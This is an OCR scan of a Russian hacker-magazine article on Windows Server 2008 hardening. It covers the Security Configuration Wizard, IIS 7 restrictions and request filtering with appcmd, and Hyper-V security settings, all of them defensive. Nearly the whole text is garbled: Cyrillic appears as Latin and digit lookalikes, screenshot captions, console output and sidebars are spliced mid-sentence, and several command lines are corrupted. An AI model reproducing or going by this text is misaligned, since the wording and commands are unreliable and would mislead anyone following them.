B peayisrare oTKpoeTcd 0KHO «SCW Viewer» ¢ yCTaHOBKaMH, HaXoAAIHMH-
cA B JaHHOM datine.

Ecmi Ipou3BoAuTCs yIIpaBieHHe HeCKONLKHMH cepBepaMHy, To yIoOHee
XpaHnuTh 6a3y JaHHEIX HACTPOEK Ge301acHOCTH EeHTPATH30BAHHO |
HCIIOJIb30BATh Ha BCEX CePBepax ceTH. B 3ToM ciryyae ceTeBoH MyTh K Daze
ciie/lyeT IPOMHcaTh B KOMaH/HOM CTPOKe:

> 8CW /kb \\serv

13 MeH!0 «AIMIHUCTPUPOBAHME» 3a1TyCKaeM MacTep HACTPOHKH besornac-
HOCTH, IPOITyCKaeM MePBEIi 11aT, Ha KOTOPOM IIPOCTO JaeTcs obmas HHGop-
Malus, Ha BTOPOM BEIOHpaeM «Co3/1aTh HOBYIO HOJIHTHKY He30MacHOCTH.
OcTanbHble MYHKTbL TMO3BOJIAKOT H3MEHHTh CyH.IECTBy}OIJ.'Ey}O TIOJIMTUKY,
MIPUMEHHUTD TOTUTHKY U TPOM3BECTH OTKAT TPUMEHEeHHOH TTOMHTHKH.
O6paran BHUMAHNE Ha IOCAeAHNH BAPUAHT, KOTOPLIN [03B0JIALT B CIyIae
H]JOGIIEM, IMOABUBIIHNXCA TTOCIe TPUMEHEHHNA ITOJIHTHKH, O9€Hb I'I]JOCTO
OTMEHHTH BCE M3MEHEH A, BEPHYB LIeJICBYI0 CUCTEMY B [IepBOHaYalbHOE,
pabodee coctosHMe. He cleiyeT MPUHYMTETLHO 3aBepIIaTh paboTy MacTe-
pa, 3aKpbpIBasg OKHO C HaCTpDI‘:IKElMH, TaK KaK cepBep MOKET OCTATHCA JTHIIH
JacTHYHO HE[CTPOBHHblM, BMECTO 3TOI'O Ha0 BEIITOTHHTE OTKAT IIOJIMTHK
cpasy rocyie npuMeHeHus. X0Ta MOMHAIH 63Kan A5 TOACTPaXOBKH ellle
HHKOMY He Bpeaui, HﬂOﬁOpOT AO0KAa3daHO, YTO COH aJIMHUHa ITPH HATHIHH
Pe3epBHOM KOIHH KpeTTde, a IoCyT ATHHHee.

Ha crefyoieM 1are yKasslBaeM cepBep, KOTOPLIH OyieT HCIIOMb30BaH Kak
obpasel 1Py CO3TAHHHK TOAUTHKN 6e30TTaCHOCTH. B CIHCKe 110 YMOTIaHHIO
0TO6[)aJI{EI eTcAJIOKa/IbHasA CcTeMa, 1A Yﬂ,aHEHHOf/‘I CHCTEMBI YKa3bIBAEM
ee DNS, NetBIOS ums v [P-aapec. [1o OKOHYaHIHH CKAHUPOBAHUA HA3LI
JIAHHBIX H AHAIH3a TEKYIIEr0 COCTOAHUA CHCTEMbI HAXKaTHEM KHOTIKH
«[IpocmMoTp 6a3bl JAHHEIX» MOIKHO TTOTYIHTE OTIYET O HalIeHHBIX DOIAX U
[PYTHX BO3MOMHOCTAX. [Tociie BHeIpeH A HOBLIX IIOJIMTHK B CIIHCKe 06Ha-
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PYIKMBaEM HECKOJIBKO poJiel, ceasaHHbx ¢ Exchange 2007; ecm nx Her,
peructpanmio XML-paiinos, 09eBHIHO, CeAyeT NOBTOPHTS. [lledok no
I060MYy IIyHKTY MO3BOAET HOCMOTPET I0APodHYI0 HHPOPMAIIIIO, CTPOKa
«CoCTOAHHE> IOKAMKET, YCTaHOBEHa H BIUIIOUEHa JIH BRIOPAHHAA POILb.
TTepexoM K CIeAYIomeMy 3Tamy. YuTaeM coobIeHHe O TOM, YTO HeBepHOoe
yKazaHWe poseif MO:KeT IPHBECTH K HeTIPaBHAbHBIM HACTPOHKAM, M IEPeX0-

IuM K aTany Betbopa poneit. K ux ananuay ciegyeT mogoH T OCTOPOKHO, TaK
KaK MacTep XOTA H HCIIOIb3YeT BCe BOSMOKHEIE MeTO/Ib] OIpee/IeHuA, HO
BCE-TAKM MOXeT omubaTbed. [To YMOMTIaAHHIO MIOMOMHUK ITOKdMET TONBKQ
YCTaHOBIEHHHIE POIH. JIOCTYITHEIE POJTH MOYKHO YBH/IETh, MCTIOB3YH PAC-
KPBIBAOLIMICA CITUCOK «[IpocMoTpeTh», Jlanee aHanoTHYHO OTMedaeM KIH-
enrcxne Gyrknya (DHCP, DNS-KIHEeHTE U T. 4.) H KOMIIOHEHTEI, CBA3aHHbIe :
c3ajayaMu aZIMHHUCT pApoBanuA (GpanaMay=p Windows, apxusanys ‘
JIAHHEIX, 0003peBaTeTs CeTH 1 T.11. ) Bce BHHMATEBHO TPOCMaTpHBaeM H |
OCTABJ/II€M TOIBKO TO, YTO AeHCTBITe/IEHO HCTIONb3YeTCd. B creytomem

OKHe YBHIWM CITHCOK JOTIOMHHUTEIBHBIX CJIY}I{G , — CHHMH 0OBIHO Hp06ﬂ61\f[
He BO3HHKAeT. XOTA eclii B cucTemMe 0OHapy:«eHa He3aAelicTBoBaHHasA ‘
JOTIONHHTENbHASA CTYKOA, TydIle IPeKpaTHTh paboTy C MacTepoM, YAaauTh |
cny:x6y M TOBTOPHTH HacTpoliky, 3amycTus SCW ITOBTOPHO.

Tereps He MeHee ByKHBIH 3Tall — OTpe/iensgeM, ITo Ael1aTh C HEM3BECTHbI-

MH cyxx6amu. [To yMoT4aHHIO IpeiaraeTca He U3MeHATh DeXXuM 3aITyCKa
CYKOBI. DTO CIACAET OT BO3MOMHBIX [IPOG/IEM B C/Iy4ae, eCild MacTep
HEKOPPEKTHO PACTIO3HA BCe YCTAHOBKH Ha CepPBepe, HY:KHbIe cykOkbl ete

HE YCTaHOBJIEHbL, WK KOIAA NONMHATHEA 6}’,[[9’1" TIPHMEHATHCA Hd HECKOJIbKHX
cepBepax. B 3alidiieHHBIX cpelax cIeAyeT UCloNb30BaTh BapHaHT «OT-
KJIIOYHTH 3TV CIy0y». CMOTPHM pe3foMe 0 ILIaHHPYeMbIM H3MeHe M.

B Tabiuile HeCKOMBKO CTOAOIIOB, T7Ie 0TOOPaskaeTcsd TeKYIHH U [VIaHHpYe-
MBI cTATyC 3anycka cy:x0bL. B¢/ HACTPOH KK BePHBL, IEPEX0AHM B Pasiei
«CeTepas 6e30MaCHOCTE». YCTAHOBHB (UIAKOK B [IEPBOM OKHe, MOXKHO
TIPOTYCTHUTH 3TOT PazAen. BelOupaeM MOPTHL H 0400 pAEM IIPUICHKEHHA.
Wcnons3ys KHOTKH J06aBuTh, MaMeHUTD B YIATUTh, MOMKHO COOTBETCTBEH-
HO yKa3aTh HOBBIH [OPT M MPHIOKEHHE, a TAKKe H3MEeHHTh HilH YAAIHTh
HMMEIIHECA HACTPOHKH. [0 YMONTHaHHIO JOCTYII K paspelieHHbIM TTOPTan
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' SharePoint Portal Server

¥ SQL Server 2000

» SQL Sarver 2000 Reporting Services

¥ SQL Server Analysis Services 2000

¥ Windows SharePaint Services

» WiNS-cepaep

» Befi-capsep

» Baf-cepsep cryx6 UDDI

# fdononHnTenskedt cepeep cafta SMS

4 é;\-m;c.eia cucTera obiMeia coobuieHmmM Exchange 2007

Onvcanve: Hs 310M cepEepe pasMewlewa egnwan cicTema obuena coobwemsm Exchange 2007
Tpalyenbie cAyKBbI; Eavnan ChTen ofiena coobulenar Microsoft Exchange, Peussoit moayns Micrasaft Exchange,

=l Buifop ponel cepaepa

J HCNDRHATS HECKOMBKD PORGH.

BribepHTe.

fOpocuatpets: [Bee pann =

%
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CnyxBa Microsoft Exchange Active Directory Topology, CnyxSa
Microsaft Exchangs.

Microsoft Cnyxfa daiinaz

MopTbi: MSExchangeADT ice.exe (), vice.oxe (),
(), MSExchangeFDS.exe (), Microsoft.Exchange.Monitoring. exe ()

COCTOAMMB: H@ YCTIHOBNEHD, OTRNKIUEHD

~ | Knactep nourosnix awskos Exchonge Server 2007

OBR3aTENbHbIE ponK: MouTOBNA AWK Exchangs 2007
Tpefyembie cayxlbr: CyxGa knactepos

| CocraAnve: He YCTaHORNEHD, THIOUEHT

» KoHTRONNeR Acwewa (Active Directory)
» DBpaGoTank npaenn BizTalk 2004

» OEWOBHOR Cepeep Canta SMS

» Nowtoesis Awmk Exchange 2007

» Cepoep EDI-nnrerpaumn BizTalk 2004

BO3MOJKEH CJIF0B0T0 apecd; Haxkas KHOTIKY Jo-
| [OMHUTETHHO, MOKHO YKa3aTh /714 BEIOPaHHOT'O
‘ [IPHIOMKEHIA CIIHCOK pa3penteHHbix [P-aspecos u
! riogcerel. B 4acTHOCTH, TpoBepseM, HToObI ObLTH
of06GpeHsI TOpTHL, MpuHagIexamue Exchange (B
1 KOHTEKCTe CTaThH H cy:kOn1 11S). /lanee mposeps-
| eM M IOATBEPKAaeM BHECEHHbIE U3MEHEeHU .,
1 Crezyromuii pasgen — «[lapaMeTphl peectpa»,

B HEM POM3BOATC HACTPOHKH IPOTOKOIIOB,

‘ - HCHO/b3YEMBbIX /1A CBASH CAPYIHMH CHCTEMaMH.

| TlepBBlIil mar — HACTPO¥Ka TpeBoBaHMs MOATMCH

‘ SMB. 3aech ipa GarkKa, MO3BOMAIONINX YKa3aTk,
4TOOBI BCe HOKIIYAIOMIMECs CHCTeMbl OTBEYall

| MMHHMAanbHEM TpeboBannam k OC. Bropoi

‘ IasKoK aKTHRHPYET QYHKITHE MO CH TpadH-

Ka QaHaoB ¥ meyaTh (OmiHa TpebyeT ACTIONHH-

TessHOH MomHocTy CPU). [Tapamerp peecrpa,

KOTO prI"’I 6y,HET TNIPU3TOM M3MEHEH, YKa3aH BHHU3Y

‘
CTpaHMIEL. BTopoil mar— HacTpoHka 1 poBoiH
‘ nogick LDAP, 3/1eck OHH IMYHKT, IO3BOMAIOMIHH
| yKazaTh MUEMMATLHEE Tpebosanma k OC (oT
Win2kSP3 u Beimie). TpeTHE mar — MeTOABI TPO-
BepKH IoutHHoCTH LAN Manager A1 Mcxoas-
LMX coegrHeHAN. [10 yMOT9aHHIO HCMOAb3YIOTCs
TOJIBKO YIETHBIE 3aTIMCH B /IOMEHE, 9T0 obecredn-
BaeT HauHOMbIIYIO 3alHIIeHHOCTh. OcTanbHbIe
(10KamBHBIC YYeTHBIC 3AIIKCH H [TAPOJIH 0OIIero
Aocryra Win95-Me) nydiie He HCIOAb30BaTh (CM.
cTaThio «MaxcumansHas samuTa AD» B MIONb-
crom 3 3a 2009 rox). [TyHKTE Ha 4eTBepTOM
1rare Oy/IyT 3aBHCETE OT YCTAHOBOK Ha IIPeibLY-
nieM sraie. B HameM cayyae OyAeT peAackeHo
: BBIOPATD METOA HCXO/ALIEH TPOBEPKH ITOAINH-
HOCTH A71 KOMITBIOTEPOB loMeHa. Macrep npef-
JIOAKUT pa3pellluTh ayTeHTHHHKAIMIO A1 CUCTEM
Win2kSP6 1 BeIe, a TaloKe CHHXPOHU3UPOBaTh
spemsia ¢ NTP-cepeepom. [IpoBepaeM yCTaHOBKH U
MOATBEp:KaeM BEIGOD.
Ewe ogys aTan —«[IpoBepka ayauTax, rie onpe-
Jle/IAI0TCA Leld ayAnTa. 3/1ech IPOCTO OTMeYaeM
OAMH U3 TPEX BAPUAHTORB: «He BLITTOMHATD ayAUT>,
«BBIMOAHATE a¥ANT VCIIEITHBIX AeHCTBHH», «BbI-
MOJIHATE ayAUT yCIIeLHBIX 1 HEYCIIeITHbIX JeHCT-
BHI». B CBOIKE, KPOME KOHTPOISA YCTAHOBOK,
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OnMCaHKe: Ha 310M CEPBEPE PACNONOXEH KAACTED NONTOBNX MunKos Exchange Server 2007

Moprsi: ExSetup.exe (), clussve.exe (), Unknown (), resremon.exe (), msftefd.exe (), powershell.exe ()

e (), umservice.exe (), UMWorkerProcass.exe

Orscamme: Ha 3701 CEpBERe PAIHELLEH NONTOBBIR sulK Exchangs 2007
Tpebyenbie cnyxbbt Cnywba Microsoft Exchange Active Directory Topology, Batic
wm,:z Micrasoft Exchange, Cnywba penmacaumn Microsoft Exchange, NonawHeH no

T 7 KRSCTEn NOOTOREIX AULHIKOD LXCrange Server 200 _:_I
¥ | Kowtponnep aomera (Active Directory)

I~ [r OBpaSorwns npasnn BizTalk 2004

[~ 12 Ocrosvioii cepeep caitva SMS

Micrusoft Exchange, Crysefa noncea Microsoft

Ex.rhmge, Iicrosoft Exchange Service Host, Cnyx6a HaBinioaess Microsoft Exchange,

ChCTENMER NoMOWHAR Microsoft Exchange, Cryxba oTnpaskn nouTs! Micrasoft Exchange,
Microsoft Search (Exch
OGR3aTENbNbIE POAK! Beb-cepssp

TOBRIX

Microsaft Exchange

Chywba noncxa T

=

NOCAE PEFMCTPALMU XML-GANIIOB POJIb

EXCHANGE 2007 MOABUNIACE B CMUCKE

CMOTPUMYCTAHOBKWU P MOMOLLU SCW VIEWER

MOZKHO BEJIIOYHTD /OTK/IIOUH T NCTIONB30BAHUE
mrabiiona besonacroctr SCWAudit.inf, koToprri
sagaet ACL goctyma K $aiIoBoH cucreme
(npuMmeyaHye: 3TH YCTAaHOBKH HEJb351 OTKATHTh
npu oMot SCW). Jlanee B 3aBHCHMOCTH OT
VMMEFOIIHXCA pOJIeH MOTYT HaCTpanBaThCA CIIeIH-
¢uecke yeTaHOBKH. HammpuMep, IpH HATHYHU
11S MacTep TO3BOJIMT TPOM3BECTH HACTPOHKY /M-
HAMHUYeCKOTO COZIePKMMOT0 1 BEIOpaTh COXpaHiA-
eMBble BUPTya/bHble KATaI0IH (OHH OTKIIOUEHBI
110 YMO/TYaHHIO, TTIOCKOJIBKY IPE/ICTABIAIOT COD0H
TIOTeHIMANBHYIO0 YTpo3y). 3To Bee. CoxpaHaeM
HOAUTHUKY 6e30MacHOCTH, YKa3aB UM daiina 1
omucanue. Haxas «[IpocMoTp nonntuxu 6eso-
TIACHOCTH», MOYKHO TIPOCMOTPETE BCe HACTPOMHKH.
3xecs e IPH HeoOXOAMMOCTH MOAKIIOUAKTCA
TOTOBLIE ITa0/I0Hb] 6€30MacHOCTH, KOTOPhIE pac-
IOMPAT IPOU3BeAeHHbIe yeTaHOBKH. Havkumaem
Jlanee v BLIOMpaeM IIPUMEHHT 3TY HOJTHTHEY
Ccpagy WM OTA0KNATE. COXpaHeHHYIOo HOUTHKY
3ATEM MOMHO BHEDUTh [TPH oMo SCW.

SALUMLLAEM IIS Be6-ceppepIIS (Internet
Information Services) roJib3yeTcs NOMYIAPHOC-
TBIO B TIEPBYIO 04epes 61arogapsa TOMY, 970
BXOJUT B KOMILTEKT OC, — ero 04eHb IIPOCTO
YCTAHOBUTE U JIETKO UHTET PHPOBATh B CPey
Windows. Hago npusHaTh, MHOTHE aAMHHHACT-
PATOPBI 70 OTKPOBEHHO He/l0/IF00IMBAIOT, H BCe
13-3a TOTO, 4TO B IPEABIAYIIMX BePCHAX OBLIO BEI-
ABJIEHO JOCTATOTHO MHOTO OMUOOK (B TOM YMCie,
CBA3AHHBIX ¢ D€30MaCHOCTREO), 1a H POU3BOAH-
TeJIbHOCTBIO OH He 6mctan. B Win2k8 paspabot-
upku ripeactasin [1S 7.0 (IIS 7.5 B Win2k8R2),

B KOTOPOM Y4TEHBI OHIHOKH ITPOLLIOTO, & CaM /iH-
3afH cymecTBeHHO repepaboraH. B wacTHOCTH,

B IS peayM30BaH TOT K€ TOAXOA, ITO U B caMOi
Win2k8. [To ymon4aHHIo ycTaHABIHBALTCS MUHA-
MaslbHBIH HabOP KOMIIOHEHTOB, a 3aTeM aJMHH
10BaBaAAeT TO, UTO AeHCTBUTENEHO HEOOX0AMMO.
Tax, 1o yMOT4aHHIO 3aeiicTBOBaHo AMIIb 9 13 40
Role Services, koTopele 0becie4nBaloT OCHOBHbIE
¢yuxipr HTTP, craTHdeckoe COAepKIMOe H ero
©KaTHe, MOHUTOPUHT 1 QIIBTPALIMIO 3aIIpO-

COB, Be/JIeHHe JKYPHaIA H KOHCOJb YTIpaBIeHHUA
1IS (IIS Manager). /lins ynobGerea Berbopa Role
Services pasgeneHbl Ha 8 TogKaTeropuit. Cpeau
Kareropui 0coboe BHUMaHHe XOTe10Ch OBl
obparuTe Ha IS 6.0 Management Compatibility
(CoBmecTHMOCTL MeTabassl IIS 6), oTBedaUyo
3a COBMeCTHMOCTE 10 AP c mpegpiyeii nep-
cuell Beb-ceppepa. Hanprmep, IpH yeTaHOBKe
Exchange Server 2007 aKTHBaLIHA 5TOTO IYHKTa
obasarenbHa. JomoTHHTeNbHEBIH MOAYIE FastCGI
obecniewuBaet 6uicrpyio obpaboTiy Perl, PHP,
Ruby 1 ApyTix web-TeXHOI0THE, T03BOIAL 06-
CIIY’KABATH HoIBIIee YMCI0 MOAB30BATENEH.

BIIS umeeTcd BHYIIUTENbHOE KOTHYECTEO Ha-
CTPOEK, IIPY IMTOMOLIY KOTOPBIX MOMHO HACTPOHTD
PA3IHYHOTO PO/Ad OI'PAHUYEHHA K TEM CaMbIM
TOBEICUTE He30MacHoCTE. PazbepeM HeKoTophle
M3 HHX.

OcHOBHEBIE AeHCTBHAA OYAeM [IDOU3BOAUTD B
Hucneryepe cyx6 1S, cepuika A4 3amycka Ko-
TOPOro HAXOAWUTCA B MEHIO A,HMHHHCTPHDOB&HHE
(kKoHCONBHAA KOMaHJa Inetmgr).

TTo YMOMUAHHIO K Y31y OVAYT HMETh JIOCTYII CHCTe-
MBI 0o Beex [P-apecoB, KOMITBIOTEPOB H JOMEHOB,
IIpH HCOBXO/EI,I/IMOCTI/I JIETKO MOYKHO OTPDaHH4YHTh
3TOT CITACOK, YCTAHOBHB Pa3pelleH A K 3alPeThI.
OTKpPBIBAEM TIVHKT «[[pOCMOTP BO3MOKHOCTEH»,
BrIGHpaeM «Orpanndenua [Pv4-agpecos ¥ MIMeH
ZOMEHa» 1 B IIaHeNH «JleHeTBH» MeTKaeM —
100aBUTE PA3PELIAICIHI IIH 3aTIpelalon i
aneMeHT. YTOORI M3 KOHCOMN 3aIIPETHTD IOCTYI,
Hanpumep cajpeca 10.0.0.1, mimrem:

> appcnd set config /

section:ipsecurity /+" [ir
0.0.0.1',allowed="false"]"
CoOTBeTCTEEHHO, YTO0B! pA3pPEeIlHThL, MeHIeM
«false» Ha «trues.

Yro6el yaesr MPHHUMAI TOAKTIOYeHHA HE CO BCex
CEeTeBBIX HHTEPdEHCOB, UCIONb3YeM MYHKT «[1pu-
BSIZKHM y3/1a» M YKA3BIBAEM afpeca LA KauA0ro
nopra (801 443).

Crpanunna «I[IpoBepKa NoUTHHHOCTH» T03B0-
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» CTatbio 0b ycTa-
HOBKE W HE]CTPOI;WKC
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Had EMPTYanbHOCTbL>,
onybnukosaHHo#

B HeBpanbCKoM HoMe-
pe 2 3a 2009 rog.

s [lng nonyyenva
CrpaskW rno napa-
METPEM YTUANTHI
SCWCMD mcnonezy
komaHay «SCWCMD
transform».

b links
e [lokymeHT «Hyper-
V Security Guide»:

* [TogpobHyo nHdy No
AzMan cmaTpy Ha
TechNet:

o [lononHutenbHble
CBefleHUA 0 KOMaHae
Appcmd.exe MOXHO
NONYyYUTE Ha CTPaHKMY -
kel I
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Microsoft windows [BepcHA 6.0.6001]
(C) Kopnopauws Mawkkpoco$T, 2006. BCe nNpasa SaWMWEHB.

IC:\Users\AaumnucTpaTop>wmic gfe Tist

1le5a

Cri. TaKme

MW3MEHEHUE I'IAPAMETPOBJ'IOI{AﬂbHOFO
BXOLABCUCTEMY

JIAET HACTPOUTL METOAbI ITpOBEPKH MOAMTHHHOCTH, KOTOPBIE
MOTYT OBITE MCTIOAB30BAHB KITHEHTAMH MPH TOAKIIOYEHAH.,
AHOHWMHBIN JOCTYII [I0 YMOJYaHHUIO BKJI0UEH. BriOpas
O,Z[HOHMCHthﬁ IIYHKT U HAXKaB CCBUIKY «MaMeHHTb», MOM¥HO
3a7aTh YIeTHYIO 3alI1Ch, 0T UMEHH KOTOPOit OyieT ripous-
BOAHTBCA JOCTYII (o YMOIYaHHUIO IUSR), nan YKas3aThb yaoc-
TOBEpPEHHUe [1y/Ia IPUIKEeHUHN (110 yMOTYaHHI0 — CeTeBOi
cepsuc). Bce aTH €HCTENA MOMKHO BHITTOJHUTE U3 KOMaHIHOH
CTPOKH:

\vithentication /userName:

sword: string

string /pass

CpE,EL'P[ APYTAX METOJ0B IIPOBEPKH NOAMTMHHOCTH ITpeAaraeT-
ca: Active Directory, oObldHas ¥ Jai/DKeCT-TIPOBEPKa.

E1lle 0ZIHa HACTPOWKA CKPBITA IO/ CCBUTKOH «OrpaHHYeHHE»,
PACIIOJIOKEHHOH B MEHIO «/leHcTBHA». B MoABHBIIEMCA OKHE

ICaption CSName Description FixComments H
0tFixID InstallDate InstalledBy InstalledOon
Name ServicePackInEffect Status

http //suppert.microsoft.com TESTCOMP Updat 9

:llf 5-1-5-21-2833897037-3434363715- 2422:09595 500 01c95bbc605
2fde

http://support.microsoft.com/?kbid=948609 TESTCOMP Update K

8942509 5-1-5-21-2833897037-3434363715-2422509695-500 01c9ec9cb7a

51ef8

http://support.microsoft. com/7kbid=948610 TESTCOMP Update K

894861 5-1-5-21-2833897037-3434363715-2422509695-500 0lc9ec9cb7a
e3ac

http://support.microsoft.cnm/?khi#‘JSDDSO TESTCOMP Update K

B950050 5-1-5-21-2833897037-3434363715-2422509695-500 01c95bbf2ee

http: /jsuppart microsoft. (om,'?kad-QSB-ﬂB) TESTCOMP  Up K
B9584 5-1-5-21-2833897037-3434363715- 2422:09595 500 Olchcd%bTb
;g:ga,,su,,m e e R e s
Saars Huee SWhxlowe =10
L JU.J {5 ~Tanens ynpasnerts = Lentp obosne > &3 2
iC:\Users\AaunHi g
N \ ®aitn Tipasxa Bun  Cepsuc  Cnpasxa
©

UenTp obrosneria Windows

§ 3arpysianycrancsxa obnoenenni QA KounbroTEpa

Bcero: Basmnbix ofHosnen

Taoe nocTymHo: HeoSasaTes

-

43, 158,7 1M6 - 160,0 M6
cfinosne: W,

HACTPaNBaETCsA MaKCUMATBHAS TTOIOCA TPOITYCKAHIS JI7IT Y3714,
BpeMs OKHIaHHA TTOAKTIOYEHIA B CeKyHAaX (110 YMOTIaHHIO
180) 1 MaKCUMAaIBHOE YHIO OAHOBPEMEHHBIX ITOAKTIOYEeHHIA.
DHALTPHI 3aIIPOCOB OrPAHMYHBAIOT THIIEI 00pabaTEBACMBIX
1S HTTP-3anpocoB, ¢ MX MOMOIIBIO aIMMHHMCTPATOP MOXKET
3ab6710KHApOBATE MOTeHIIHAILHO ONacHble JeiicTsus. Marpa-
duueckoro nHTepdeica yupasiaTh GHIBTPaAMH HETbas, AJIH
3TOTO CIIe/IyeT HCIOAB30BaTh KoMaHay Appemd.exe wmr WMI-
cieHapui. ITpocMOTpeTh YCTaHOBKH MOXKHO KOMaHA0M:

> appcmd list config -section:requestFiltering
Hanpumep, sanpetuM c6paboTKy He3aperHCTPUPOBAHHEIX
pacmuMpenui uMen datinos:

> appcmd set config /section:requestfiltering |

/EileExtensions.allowunlisted: false

Yrobsl 3anipeTiTs ailibl ¢ pa3pelieHHEeM «eXe», UCIOIB3YeM

TAKYHO KOMaHJy:
> appcmd set config /section:system.webServer/

security/requestFiltering -fileExtensions.

[EileExtensicon="'.exe'] .allowed: false
OcrasbHble HapaMeT Ll IO3B0/AI0T YKA3aTh MAKCUMaTbHbIHI
pasmep cogepxumoro, Jumuay URL u HTTP-zaronoska, sanpe-
ueHHble 3HaKku B URL 1 MHOTrO€E Aipyroe.

OBECNEYMBAEM BE30NACHOCTE HYPER-V Tema Homep
OAWH TTOCNeJHUX JIET — BHPTYaIHU3alllida, 1 HE HYy>2KHO BBITH
HPOPOKOM, YTOOB! TPE/ICKA3ATD, UTO B JaIbHEHIIIEeM CBA3aH-
Hble ¢ Hel TeXHONMOTHH 6YAyT TOMBKO PasBUBaThes. TTPOAYKTHI
BHPTYAIM3aHHA TAKKE HECYT AONOJIHHTEAbHBIE PHCKH, 1 X
3aUETE CeHYAC YIENAETCH HE0CTATOYHO BHUMaHHA. B Ie1oM,

XAKEP 10 /130/ 09
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MEpOIPHATHS [10 0DECTIETeHNI0 e30MacHOCTH
OC ¥ npuwIOKeHNH, pabOTAIONIHX B BUPTYATb-
HO MalIrHe, MajIo OT/IHYa0TCA OT TAKOBEIX B
«peaJbHOM» KOMIIBIOTEDE, HO BCEKE €CTh CBOH
ocobennoctu. [Tocie yeraHosku pony Hyper-V
Bce OC, paboTaronye Ha KOMITBIOTEPe, BKAI0Yas
OCHOBHY?0, OyyT paboTaTh KaK BUPTYa/IbHbBIE.
BH]JTY&JH:HBIE MarmHbI MCITIOAB3YIOT OAHHU U TE
JKe pecypchl pealbHOMH CUCTeMbI, YTO YKe HeceT

IIOBBLIIEHHYIO OnlacHocTh. Hyper-VXpaHuT Bce
| HacTpoiKK Ha KECTKOM JKCKe, a 3HAYUT, Gaiinbl

MOTYT OBITE M3MEHEHbI BUPYCOM HITH JAPYTOH

cepBHCHI, obecrieynBaronye GyHKIMH BUPTYaIH-
saumn. JeficTeus 110 obecriedeHHio 6@301acHOCTH
Hyper-V MOKHO paszie/InTs Ha JBE 9aCTH: 3aIIHTa
OCHOBHOH CHCTEMEI, B TOM YHC/Te H HH3HYecKad, v
3alHTa BUPTYaIsHOH cpezpl. Haunem c o6HOBE-
HUsL CHCTEMBL M YCTAHOBKH TTaTyelt. [[pocMoTpeTs
CITMCOK ZOCTYITHEIX OO HOBIeHNIT MoHO B LleHTpe

| o6HOBNEHMH TN KOMAH/0M:

> wmic gfe list

Tak HeobxoauMO0 0053aTeNBHO YCTAHOBUTE
obHormenne KB950050, koTopoe yay4maeT
HesomacHocTs ¥ cTabuabHOCTE Hyper-V, a taxxe
A3BIKOBEIH makeT Language Pack for Hyper-V
(KB951636). Kpome sTOr0, peKoMeHyeTcs 06-
HoBaeHue A Vista (KB952627), nospoasioiee
BKJTIOYHTE TIO/JTEPHKY Y/IAIEHHOTO YIIPABICHUA
cepsepom Win2k8 e ponsio Hyper-V. Bece atu
(baiIbl MOAKHO IETKO HAHTH ITOHCKOM.

Ha cepsepe ¢ poiibio Hyper-V HesxenaTenbHo

HaJUYKe JIPYTHX CEPBHCOB, T.€. OH HE JIOJDKEeH

BBITIOMHATE G0/16€ HUKAKHX (yHKIIME. FcKTode-
HHE COCTABIAIOT aHTUBHPYCHAS 3a1[UTa ¥ CMCTEMA
| oBHapyers atax (IDS), yCTAHOBKA KOTOPHIX Ha
O7[HOW CHCTEME [TO3BOJTHT 3all[HTHTh CPasy I'PYIIILY
rocresbix OC. TIpu aToM Bo n3bexanne KOHIHK-

HACTPOMKWU AHOHUMHOI 0 OCTYNA

TIPOTPAMMOH. ATaKe MOTYT IOJBEPTHYThCA ¥ CAMM

TOB HEOOXOAMMO UCKITIOYUTD M3 CKaHMPOBaHMI Ka-

TAJIOTH, B KOTOPLIX XPaHATCA Gafiibl BUPTYATbHBIX

MAIIVH, 4 TaKKe GallIsl VINms.exe ¥ VIMwp.exe
(naxomared B %SystemRoot%\ System32). 061-
3aTeJIBHO OTPaHHU4YHBAEM CITHCOK HOI[BSOBaTeﬂef:I,
KOTOPBIE MOTYT PeTHCTPHPOBATHCA Ha IAHHOM

XAKEP 10 /130/ 09
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cucreme. Haxoanm B rpyliiie «A\JMHHHCTPHPOBA-
HHe» APIBIK «/l0KaIbHAA MOJIUTHKA 0e301acHOC-
Ti» (Local Security Policy) n B pasaene «/lokais-
HbIe MOMTATHKH» BeIOHpaeM «HasHadeHne pas
nomszoearteni» (User Rights Assignment). Teneps
UIIEM W VCTaHABIHBAEM TOTUTHKN «JIOKaILHBIH
BXO/1 B CHCTEMY», «3alIPeTUT JIOKATBHBIH BX0/»,
«OTKa3aTk BOCTYTIE K 3TOMY KOMIIBIOTEDY U3
ceTH». UTOBE! YIIPOCTHUTH 3aLIHTY CEPBepa, JKea-
TEJIRHO HCITONB30BATh, KAK MHHUMYM, 2 CeTeBbIX
afanTepa: OHH U1 YAIeHHOIO 8IMUHICTPHPO-
BaHHA (MacTep yCTaHOBKH POJIH BBIIACT 3aTIPOC O
BEIOOpE CETeBOH KapThl /LA YITPaBAeHHA), BTOPOH
— HEMocpeACTBEHHO BUPTYAILHBIME MallHHaAMA
s 0bMeHa JaHHBIMU. Boobie ToBOp4, IS poan
Hyper-V paeaibHO OAX0ANT pexkiuM Server Core.
B aToM ciTyqae cHUKaeTeA KONMYeCTRBO [I0TeH-
HHAIBHBIX yAZBHMOCTEH, YBEIHIHEAETCA BPEMA
HapabOTKH Ha OTKas.

Ilo ymomaanuio Hyper-V golycKaeT K yIIPaBIeHHIO
BUPTYaJTBHBIME MaITHHAMH TONBKO 8 MAHHC-
TpaTopos. YTo0b! He BE/II0YATE B 3TY IDYIIY
No/b30BaTeNEH, Ty4Ille IeTeripoBaTh KM Heofxo-
JVMBIE TpaBa. s 3T0H LeJIH wiesyeT HCIToMb-
30BaTh JucneTyep agTopr3aanmu (Authorization
Manager), ITpH [IOMOIIH KOTOPOT0 CO3AI0TCA
poseBkle paspemeny. Mogens 6e30IacHOCTH 0-
CTaTOYHO XOPOILO [IPOAYMaHa, CyMMapHEIe ITpasa
OlpeeIIOTCA Ha OCHOBE HECKONBKMX COCTABIA-
IOIIIX — OIepans (paspeleHHbIe JeHCTBIA),
3a/1a4H, poJib, 06macTs (0O BEKTEL, KOTOPLIMU
MOJHO YIIPABJIATE) . 3aImycKaeM AUCIeTdep,
Habpap B KOHCOIH «AzMan.mscs; 110 yMOJ4aHHI0
OKHO AIHCITeTHEPa IMYCTO, YTOOB HadaTh paboTy,
TpebyeTca BEIGPaTh XpaHWANIIE. DTO MOKET
6nITh Ci1y3Oa Active Directory wmm ADAM (Active
Directory Application Mode), cepsep Microsoft
SQLwau XML. B nocragke Windows HmeeTcs
Hy:;xHOe Xparunuie — ¢aiin Initial Store.xml,
pacmonoxenHeli B C:\Program Data\Microsofty
Windows\Hyper-V. 3tot aiil moaBuTcA ocIe
